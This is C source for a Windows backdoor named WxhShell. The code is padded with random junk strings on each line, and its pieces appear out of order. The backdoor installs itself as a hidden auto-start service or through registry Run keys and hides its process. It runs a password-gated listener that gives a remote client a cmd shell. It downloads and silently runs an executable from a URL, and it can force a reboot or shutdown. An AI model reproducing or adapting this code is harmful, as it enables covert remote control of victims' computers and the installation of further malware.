    if(Boot(SHUTDOWN)) 0q.Ujm=,z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vohoLeJTj  
    else { SfJA(v@E  
    closesocket(wsh); N>Eqj>G  
    ExitThread(0); `(v='$6}  
    } O=v#{ [  
    break; -od!J\ KCy  
    } NB\{'  
  // 获取shell !:|TdYrmj  
  case 's': { y;t6sM@  
    CmdShell(wsh); @[#$J0q q  
    closesocket(wsh); s <   
    ExitThread(0); W?0 lV5/  
    break; YoN*:jB<M  
  } bV edFm  
  // 退出 ?pYKZg /c  
  case 'x': { U7!.,kR-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !O.[PH(,*  
    CloseIt(wsh); -RO7 'm0  
    break; r|PFw6  
    } /&CmO>^e  
  // 离开 /" ${$b{  
  case 'q': { 1x @qkL6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gzjR 6uz  
    closesocket(wsh); rgSOS-ox  
    WSACleanup(); K TsgJ\W  
    exit(1); K =C!b?  
    break; Eo\UAc  
        } Ma'_e=+A  
  } c9kzOQ2n  
  } 2pzF5h  
'fcMuBc+ 4  
  // 提示信息 "Fy7K#n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0O\SU"bP  
} ~XyW&@  
  } fwrJ!j  
"t({D   
  return; 5DXR8mLoaJ  
} ~7$&WzD  
]W Zq^'q.  
// shell模块句柄 y" 6y!  
int CmdShell(SOCKET sock) }j2Y5  
{ rC.eyq,105  
STARTUPINFO si; <V7>?U l  
ZeroMemory(&si,sizeof(si)); {NPuu?&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1G0fp:\w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7]x3!AlV  
PROCESS_INFORMATION ProcessInfo; 2RqbrY n  
char cmdline[]="cmd"; e$u4vC~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c&X{dJWD   
  return 0; o\88t){/kB  
}  *[r!  
tG8jFou  
// 自身启动模式 ~go fQ  
int StartFromService(void) yfj K2  
{ y.=/J8->  
typedef struct ]c<qM_HWg  
{ ew;ur?  
  DWORD ExitStatus; ]J* ,g,  
  DWORD PebBaseAddress; -D N8Yb  
  DWORD AffinityMask; cFN'bftH4  
  DWORD BasePriority; |\dZ'   
  ULONG UniqueProcessId; kaxvP v1  
  ULONG InheritedFromUniqueProcessId; !IC-)C,q  
}   PROCESS_BASIC_INFORMATION; bae\Zk%`^  
}<>~sy  
PROCNTQSIP NtQueryInformationProcess; 1VF    
 ],ZzI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K]qM~v<A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R64!>o"nED  
T;diNfgg  
  HANDLE             hProcess; s-Aw<Q)d  
  PROCESS_BASIC_INFORMATION pbi; :LWn<,4F&  
RbGJ)K!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9prU+9  
  if(NULL == hInst ) return 0; 4EXB;[ ]  
rUlS'L;$"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cv>o.Bp|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iweD @b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'S<%Xm  
CvPioi  
  if (!NtQueryInformationProcess) return 0; ( 7ws{)  
^pS+/ZSi^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !PMU O\y  
  if(!hProcess) return 0; & SAH2xR  
c(U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [w0/\]o  
Z2Zq'3*  
  CloseHandle(hProcess); 2[B4f7  
SR^_cpZoi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d'*]ns  
if(hProcess==NULL) return 0; =(EI~N  
E"%2)  
HMODULE hMod; aYn8 ^  
char procName[255]; 4J|t?]ij|E  
unsigned long cbNeeded; YC=S5;  
T# lP!c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WKpA|  
B_ja&) !s1  
  CloseHandle(hProcess); .}k(L4T|=  
nx:KoB"ny  
if(strstr(procName,"services")) return 1; // 以服务启动 ZUp\Ep}  
Y4F6qyP)"  
  return 0; // 注册表启动 1[E#vdbT  
} 4Hb $0l  
aup6?'G;  
// 主模块 _ 1*7Z=|  
int StartWxhshell(LPSTR lpCmdLine) 1`LXz3uBe  
{ 0G <hn8>  
  SOCKET wsl; KtB!"yy#  
BOOL val=TRUE; R0;ef D  
  int port=0; )9B:wc"  
  struct sockaddr_in door; G~wFnl%  
3Wcy)y>2Ap  
  if(wscfg.ws_autoins) Install(); %d m-?`  
h{}mBQl  
port=atoi(lpCmdLine); '4OcZ/oI  
~:lKS;PRuK  
if(port<=0) port=wscfg.ws_port; w?mEuXc  
T;\^#1  
  WSADATA data; C}?0`!Cc%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lFUWV)J\  
]h!`IX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NQ|xM"MqD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z[#Fog  
  door.sin_family = AF_INET; r]P,9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $ P: O/O=>  
  door.sin_port = htons(port); ukuo:P<a  
Jqr)V2Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _M,lQ~  
closesocket(wsl); ~%ozgzr^  
return 1; U>S`k6  
} "R9Yb,tIN  
D);'pKl  
  if(listen(wsl,2) == INVALID_SOCKET) { m-V02's  
closesocket(wsl); .5> 20\b2  
return 1; G",.,Px  
} K?u(1  
  Wxhshell(wsl); V% CUMH =U  
  WSACleanup(); ^1jk$$f  
:XV} c(+d  
return 0; DlyMJ#a  
DF1<JdO+  
} LS.r%:$mb  
K(T\9J.  
// 以NT服务方式启动 'GJVWpvUU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MR'o{?{e`  
{ ~2uh'e3  
DWORD   status = 0; U5/qf8)yO  
  DWORD   specificError = 0xfffffff; >qn/<??  
7ODaX.t->  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?4z8)E9Ju  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %G?K@5?j?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kII7z;<^`  
  serviceStatus.dwWin32ExitCode     = 0; RbQ <m!A  
  serviceStatus.dwServiceSpecificExitCode = 0; LH]CUfUrUE  
  serviceStatus.dwCheckPoint       = 0; 49 }{R/:  
  serviceStatus.dwWaitHint       = 0; DFe;4BdC  
TSL9ax4j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Psa@@'w  
  if (hServiceStatusHandle==0) return; znZ7*S >6\  
~# 7wdP  
status = GetLastError(); uCzii o`S  
  if (status!=NO_ERROR) Y:x/!-  
{ O.k \]'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zuL7%qyv  
    serviceStatus.dwCheckPoint       = 0; 0y %L-:/c|  
    serviceStatus.dwWaitHint       = 0; *]s&8/Gmb  
    serviceStatus.dwWin32ExitCode     = status; ';RI7)<  
    serviceStatus.dwServiceSpecificExitCode = specificError; x:5dC I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )QY![&k}1z  
    return; tSv0" L  
  } +=c am/A  
We`'>'W0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^[-> )  
  serviceStatus.dwCheckPoint       = 0; gbOCR1PBg  
  serviceStatus.dwWaitHint       = 0; \gccQig1CJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }fIqH4bp  
} ;vO@m!h}U  
6~5$s1Yc  
// 处理NT服务事件,比如:启动、停止 ARL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `1p 8C%  
{ tfiqr|z  
switch(fdwControl) $V8vrT#:  
{ -!*p*3|03|  
case SERVICE_CONTROL_STOP: zTCP )x  
  serviceStatus.dwWin32ExitCode = 0; D\]&8w6&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5n:71$6[  
  serviceStatus.dwCheckPoint   = 0; ,EhVSrh)_4  
  serviceStatus.dwWaitHint     = 0; X<MpN5%|Wo  
  { 6Dm+'y]l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,9ml>ji`=  
  } 73DlRt *  
  return; E`p'L!z  
case SERVICE_CONTROL_PAUSE: f =_^>>.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _|n=cC4Qu  
  break; U6WG?$x  
case SERVICE_CONTROL_CONTINUE: rS~qi}4X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vC9@,[  
  break; PHR#>ZD  
case SERVICE_CONTROL_INTERROGATE: +cfziQ$'  
  break; ++92:decM  
}; Uh6mGL z*&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {y);vHf$  
} T_L6 t66I  
L :U4N*  
// 标准应用程序主函数 fuSq ={]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0K3Hf^>m  
{ jmW^`%;7  
~Q!~eTw  
// 获取操作系统版本 B!q?_[k,  
OsIsNt=GetOsVer(); |Is'-g!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ysk, w,K  
'yT`ef  
  // 从命令行安装 :{CFTc5:A  
  if(strpbrk(lpCmdLine,"iI")) Install(); '\4fU%  
\JU ~k5j  
  // 下载执行文件 :Kay$r0+  
if(wscfg.ws_downexe) { :QA@ c|(PF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ec?1c&E  
  WinExec(wscfg.ws_filenam,SW_HIDE); \|{*arS  
} 7t4v~'h;5e  
w~v<v&  
if(!OsIsNt) { 0_V*B[V  
// 如果时win9x,隐藏进程并且设置为注册表启动 75(W(V(q  
HideProc(); @f=RL)$|  
StartWxhshell(lpCmdLine); vb}/@F,Q5  
} Qg>L,ZO  
else cHn;}l!I  
  if(StartFromService()) _[$# b]V  
  // 以服务方式启动 'oi2Seq  
  StartServiceCtrlDispatcher(DispatchTable); M'|)dM|  
else 5`UJouHi  
  // 普通方式启动 ;qVG \wQq  
  StartWxhshell(lpCmdLine); T5{T[YdX<  
>40 GP#Vz  
return 0; Gmgeve  
} a#R %8)  
^fZGX<fH   
D5[VK `4Z  
n `#+L~X  
=========================================== z\h, SX<U  
W8uVd zQ   
%QE5<2k  
8 DL hk  
4^MSX+zt  
^^Bm$9  
" Uf[T_  
F(G<* lA  
#include <stdio.h> KQW!\y?$"  
#include <string.h> BGA%"b  
#include <windows.h> hOSf'mi  
#include <winsock2.h> "0<Sd?Sz  
#include <winsvc.h> vu>YH)N_h  
#include <urlmon.h> wV %8v\  
`&G}  
#pragma comment (lib, "Ws2_32.lib") 9M0d+:YJ  
#pragma comment (lib, "urlmon.lib") {SHqW5VX  
7n [12:  
#define MAX_USER   100 // 最大客户端连接数 k{qLkcOg=  
#define BUF_SOCK   200 // sock buffer j$%yw4dsj  
#define KEY_BUFF   255 // 输入 buffer mj,qQ=n;p  
:MdEr//w  
#define REBOOT     0   // 重启 ?bn;{c;E  
#define SHUTDOWN   1   // 关机 8t--#sDy{0  
lxCX-a`@p  
#define DEF_PORT   5000 // 监听端口 vsw7|  
&,_?>.\[<  
#define REG_LEN     16   // 注册表键长度 wFn@\3%l`  
#define SVC_LEN     80   // NT服务名长度 gRw.AXR a  
g8rp|MOH  
// 从dll定义API mC% %)F'Zf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u% r!?-z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); okVp\RC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h<Jc;ht  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KuU3DTS85Z  
K:Mujx:  
// wxhshell配置信息 2z[r@}3  
struct WSCFG { CL EpB2_  
  int ws_port;         // 监听端口 X9DM ^tt  
  char ws_passstr[REG_LEN]; // 口令 (0X,Qwx  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;`;G/1]#9  
  char ws_regname[REG_LEN]; // 注册表键名 ^l&nB.  
  char ws_svcname[REG_LEN]; // 服务名 #: dR^zr<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s+(l7xH$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T-hU+(+hg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9*7Hoi4Ji  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [0d-CEp[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" **Qe`}E:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wBg<Q{J  
M-}j9,oR`  
}; 7W6eiUI'  
`4$4bXrP'  
// default Wxhshell configuration HKq2Js  
struct WSCFG wscfg={DEF_PORT, 4!NfQk>X  
    "xuhuanlingzhe", Y] D7i?3N  
    1, 3D]2$a_d  
    "Wxhshell", Mp]yKl  
    "Wxhshell", jc${.?m  
            "WxhShell Service", ._8xY$l$  
    "Wrsky Windows CmdShell Service", dM$N1DB{U+  
    "Please Input Your Password: ", bbfDt^  
  1, N |OMj%Uk  
  "http://www.wrsky.com/wxhshell.exe", 7KvXTrN!9  
  "Wxhshell.exe" CsJ)Z%4_  
    }; -d$8WSI 8  
iSSc5ek4  
// 消息定义模块 e{^:/WcYB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P-/XYZ]`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z?!JV_K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {m?K2]](  
char *msg_ws_ext="\n\rExit."; U:s} /to  
char *msg_ws_end="\n\rQuit."; D[?k ,*  
char *msg_ws_boot="\n\rReboot..."; Vy?R/ Uu  
char *msg_ws_poff="\n\rShutdown..."; ccHLL6F{  
char *msg_ws_down="\n\rSave to "; \O8Y3|<  
m1~qaD<DZ$  
char *msg_ws_err="\n\rErr!"; fW_}!`:  
char *msg_ws_ok="\n\rOK!"; d~togTs1  
yYxeNE"  
char ExeFile[MAX_PATH]; c n\k`8  
int nUser = 0; f_Wkg)g  
HANDLE handles[MAX_USER]; +YGw4{\EL  
int OsIsNt; _A@fP[C  
N/`TrWVF  
SERVICE_STATUS       serviceStatus; G\'u~B/w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ` <l/GwtAJ  
2eZk3_w  
// 函数声明 H<rnJ  
int Install(void); FgFJ0fo  
int Uninstall(void); &=+cov(3  
int DownloadFile(char *sURL, SOCKET wsh); M<SbVP|V "  
int Boot(int flag); el2*\(XT  
void HideProc(void); k"Z"$V2i  
int GetOsVer(void); QN{}R;s  
int Wxhshell(SOCKET wsl); rX|y/0)F  
void TalkWithClient(void *cs); Q1O_CC}  
int CmdShell(SOCKET sock); 2uJNc!&  
int StartFromService(void); `:-@E2  
int StartWxhshell(LPSTR lpCmdLine); 3/A!_Uc(  
Lo$Z>u4(c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3*X, {%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >|UrxJ7  
STFQ";z$  
// 数据结构和表定义 2A@Y&g(6T7  
SERVICE_TABLE_ENTRY DispatchTable[] = a in#_H  
{ =Do3#Xe2V  
{wscfg.ws_svcname, NTServiceMain}, 7/p J6>  
{NULL, NULL} jkQt'!  
}; E3FW*UNg[y  
L|C1C cP  
// 自我安装 ';;p8bv+  
int Install(void) .N zW@|  
{ xN{"%>Mx  
  char svExeFile[MAX_PATH];  c{f:5 p  
  HKEY key; v -|P_O&z  
  strcpy(svExeFile,ExeFile); zAkc 67:  
S|RpA'n  
// 如果是win9x系统,修改注册表设为自启动 a=:{{\1o  
if(!OsIsNt) { >m2<Nl}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z^a6%N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > hDsm;,/  
  RegCloseKey(key); K#JabT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cu ['&_@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K c2OLz#  
  RegCloseKey(key); $ +GFOO  
  return 0; @^y?Bh9jQ  
    } 5 CY_Ay\  
  } P*0nT  
} nyl8=F:V  
else { 3gPD(r1g  
$p}~,Kp/  
// 如果是NT以上系统,安装为系统服务 $$bTd3N+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w$(0V$l_  
if (schSCManager!=0) P- `~]]  
{ d0H  
  SC_HANDLE schService = CreateService Z3abem<Q  
  ( p^4;fD  
  schSCManager, @qO8Jg"Q  
  wscfg.ws_svcname, #pDGaqeX  
  wscfg.ws_svcdisp, n }9Msen  
  SERVICE_ALL_ACCESS, gvTOC F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !CVBG *E^l  
  SERVICE_AUTO_START, D_ Bx>G9  
  SERVICE_ERROR_NORMAL, O%fp;Y{`  
  svExeFile, |$SvD2^  
  NULL, $_URXI  
  NULL, :9!0 Rm  
  NULL, 9pl_V WrQ  
  NULL, 4I:JaRT d  
  NULL U Qi^udGFD  
  ); @F3-Ugm  
  if (schService!=0) Qa7S'(  
  { aCH:#|B  
  CloseServiceHandle(schService); "`W1yk5x  
  CloseServiceHandle(schSCManager); ${I@YSU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RaM#@D7  
  strcat(svExeFile,wscfg.ws_svcname); 3w<j:\i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,SJK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /n(bThDH  
  RegCloseKey(key);  i_E#cU  
  return 0; \@}$Wjsl  
    } O)RzNfI^`N  
  } JV?RgFy  
  CloseServiceHandle(schSCManager); @aiLG wh  
} F~Z 0  
} picP_1L  
$*v20  
return 1; !6tC[W`  
} ?CT^Zegmr  
PkCeV]`w  
// 自我卸载 Zs5I?R1e8  
int Uninstall(void) CI~;B  
{ SJ~I r#  
  HKEY key; = @Nv:1:r  
b~haP.Cl :  
if(!OsIsNt) { l5y#i7q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _#YHc[Wz  
  RegDeleteValue(key,wscfg.ws_regname); q5\LdI2  
  RegCloseKey(key); :oj) eS[Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L(1,W<kYg  
  RegDeleteValue(key,wscfg.ws_regname); kX ,FQG>  
  RegCloseKey(key); CN$A-sjZ  
  return 0; M9 2~iM  
  } J! 6z  
} |b-Zy~6  
} -g[*wN8  
else { )[M<72  
*liPJ29C[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0h@%q;g  
if (schSCManager!=0) 0)`lx9&h  
{ @X6#$ex  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +&N&D"9A  
  if (schService!=0) 2gD{Fgf@N  
  { Bc|x:#`C\{  
  if(DeleteService(schService)!=0) { a] wcA  
  CloseServiceHandle(schService); syN b0LR  
  CloseServiceHandle(schSCManager); ;&^"q{m  
  return 0; qn"T? O  
  } ;`of'9|  
  CloseServiceHandle(schService); >KClH'R2  
  } ^n45N&916  
  CloseServiceHandle(schSCManager); ?n9$,-^v  
} hTtp-e`   
} !VJa$>,  
\lbiz4^>  
return 1; (z1%lZ}(  
} vYt:}$AE  
=ci5&B?  
// 从指定url下载文件 T4}?w  
int DownloadFile(char *sURL, SOCKET wsh) o&F.mYnqX  
{ O+o%C*`K  
  HRESULT hr; HToN+z%w3H  
char seps[]= "/"; zkMO3w>  
char *token; qp_ `Fj:  
char *file; /GSI.tO  
char myURL[MAX_PATH]; JdYF&~  
char myFILE[MAX_PATH]; |16BidWi  
^R'!\m|FR  
strcpy(myURL,sURL); 'TN{8~Gt*  
  token=strtok(myURL,seps); n#4J]Z@  
  while(token!=NULL) 0l1]QD+Gc5  
  { ,WDAcQ8\  
    file=token; muX4Y1M_  
  token=strtok(NULL,seps); 5WJkeG ba  
  } pvR& ~g  
4b(irDT3F  
GetCurrentDirectory(MAX_PATH,myFILE); Mjvso0zj  
strcat(myFILE, "\\"); iCSM1W3  
strcat(myFILE, file); YTPmS\ H _  
  send(wsh,myFILE,strlen(myFILE),0); B*iz+"H  
send(wsh,"...",3,0); , sJfMY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sw( H]  
  if(hr==S_OK) Rw{v"n  
return 0;  ~M^7qO  
else K y4y  
return 1; 'MQGR@*  
GK+\-U)v  
} -Us% g  
}~C ZqIP  
// 系统电源模块 x0;}b-f  
int Boot(int flag) T\s#-f[x  
{  ;yER V  
  HANDLE hToken; ^-;Z8M  
  TOKEN_PRIVILEGES tkp; }7 z+  
q vVZA*  
  if(OsIsNt) { z+D,:!yF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5'-9?-S"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I2lZ>3X{  
    tkp.PrivilegeCount = 1; P~ZV:Of  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~kJpBt7M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lpbn@y26<  
if(flag==REBOOT) { R Mt vEa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _vLT!y  
  return 0; WI!z92qq[  
} 4$2T zJE  
else { !cq| g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tc(v\|F,  
  return 0; M)pi)$&c  
} BBJ]>lQ  
  } :::f,aCAu  
  else { o4f9EJY   
if(flag==REBOOT) { uv!qE1z@':  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~S>ba']  
  return 0; ![!b^:f  
} *g41"Cl  
else { 5XUI7Q%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =l'_*B8  
  return 0; 6ch[B`[h,  
} QIV~)`;  
} #*M$,ig  
RS02>$jo  
return 1; vEp8Hc  
} 1sLfjH hv  
nJ})6/gK  
// win9x进程隐藏模块 g):jZU]b  
void HideProc(void) (a!,)  
{ D"f(nVEr  
. mrRv8>$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "wC5hj]  
  if ( hKernel != NULL ) f4I9H0d;!  
  { *dTf(J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3}1+"? s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >qvD3 9w  
    FreeLibrary(hKernel); jeFl+K'1  
  } ]b| @<E7Y  
<d`UifqD  
return; qWRMwvN{  
} FOG+[v  
L5uI31  
// 获取操作系统版本 Y1+lk^  
int GetOsVer(void) =xet+;~ji  
{ Zs|sPatV<  
  OSVERSIONINFO winfo; ,VsCRp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w|o@r%Q#l  
  GetVersionEx(&winfo); QaBXzf   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XJ?z{gXJ  
  return 1; +`3ZH9  
  else -y*+G&  
  return 0; @}!$NI8  
} w>Sz^_ h  
( +hI   
// 客户端句柄模块 8N_rJ)f  
int Wxhshell(SOCKET wsl) !`=?<Fl  
{ 6e| 5qKr  
  SOCKET wsh; $*-L8An?  
  struct sockaddr_in client; :P"Gym  
  DWORD myID; rO%+)M$A  
2U{RA' s  
  while(nUser<MAX_USER) FRk_xxe"K  
{ *{s[$}uQ  
  int nSize=sizeof(client); X6 '&X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i~L7h=__  
  if(wsh==INVALID_SOCKET) return 1; 'Jr*oru  
!|c5@0Wr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2wsZ&y%  
if(handles[nUser]==0) 5c7a\J9>  
  closesocket(wsh); 6Ymk8.PF  
else e' VXyf  
  nUser++; l'\b(3JF  
  } }rZ=j6Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rep"xV&|>o  
w!7/;VJ3d  
  return 0; dS=,. }  
} |c/rHEZ  
LXV6Ew5E  
// 关闭 socket =ApT#*D)o  
void CloseIt(SOCKET wsh) *60)Vo.=  
{  y-#tU>P  
closesocket(wsh); e'&{KD,-T  
nUser--; rP4@K%F9jB  
ExitThread(0); 9ksrr{tW  
} lM,:c.R  
x&Rp m<4  
// 客户端请求句柄 y<(.,Nb8  
void TalkWithClient(void *cs) ;f~'7RKy!G  
{ %TgM-F,8  
9Bw"VN]W  
  SOCKET wsh=(SOCKET)cs; _Z2)e*(  
  char pwd[SVC_LEN]; e5KF~0`  
  char cmd[KEY_BUFF]; Sn&%epi  
char chr[1]; Y|nTc.A  
int i,j; Mv =;+?z!  
\s'6)_  
  while (nUser < MAX_USER) { ?0Zw ^a  
_ 0E,@[  
if(wscfg.ws_passstr) { xII!2.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]XyJ7esg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); So`"z[5  
  //ZeroMemory(pwd,KEY_BUFF); R&xd ic!  
      i=0; g XMkI$ab  
  while(i<SVC_LEN) { [?*^&[  
L 3@wdC ~0  
  // 设置超时 c= u ORt>  
  fd_set FdRead; mH .I!  
  struct timeval TimeOut; +8I0.,'  
  FD_ZERO(&FdRead); a!]%@A6p  
  FD_SET(wsh,&FdRead); 7yl'!uz)9  
  TimeOut.tv_sec=8; 92Iv'(1ba  
  TimeOut.tv_usec=0; "O "@HVF@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -',Y;0b%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5GkM7Zu!{j  
kGP?Jx\PkH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6suc:rp";  
  pwd=chr[0]; 7Y:s6R|  
  if(chr[0]==0xd || chr[0]==0xa) { N>Y3[G+  
  pwd=0; IRa*}MJe  
  break; W0k q>s4  
  } 8<!9mgh  
  i++; UUq9UV-h  
    } yr'`~[oSCy  
e: tp7w 4  
  // 如果是非法用户,关闭 socket Q2JjBV<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); amgex$  
} N0C5FSH  
rC16?RovQ@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o9>X"5CmX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I|H mbTXa  
i,T{SV  
while(1) { |0-L08DW  
$49tV?q5  
  ZeroMemory(cmd,KEY_BUFF); p?@D'  
r_m&Jl@4  
      // 自动支持客户端 telnet标准   [:qX3"B  
  j=0; jo~vOu  
  while(j<KEY_BUFF) { U"]i.J1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [-ecKPx  
  cmd[j]=chr[0]; ]\lw^.%  
  if(chr[0]==0xa || chr[0]==0xd) { C7PiuL?  
  cmd[j]=0; C2v7(  
  break; H<"j3qt  
  } 6"(&lK\^  
  j++; ~@;7}Aag  
    } +6*I9R  
t {}1 f  
  // 下载文件 w=$_',5#Z  
  if(strstr(cmd,"http://")) { RI=B(0 A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /xzL!~g`6<  
  if(DownloadFile(cmd,wsh)) &#l M$7/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FCPbp!q6  
  else Jo0x/+?,+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ 2_&ti  
  } iVcBD0 q)  
  else { ->(B: Cz  
_G|6xlO  
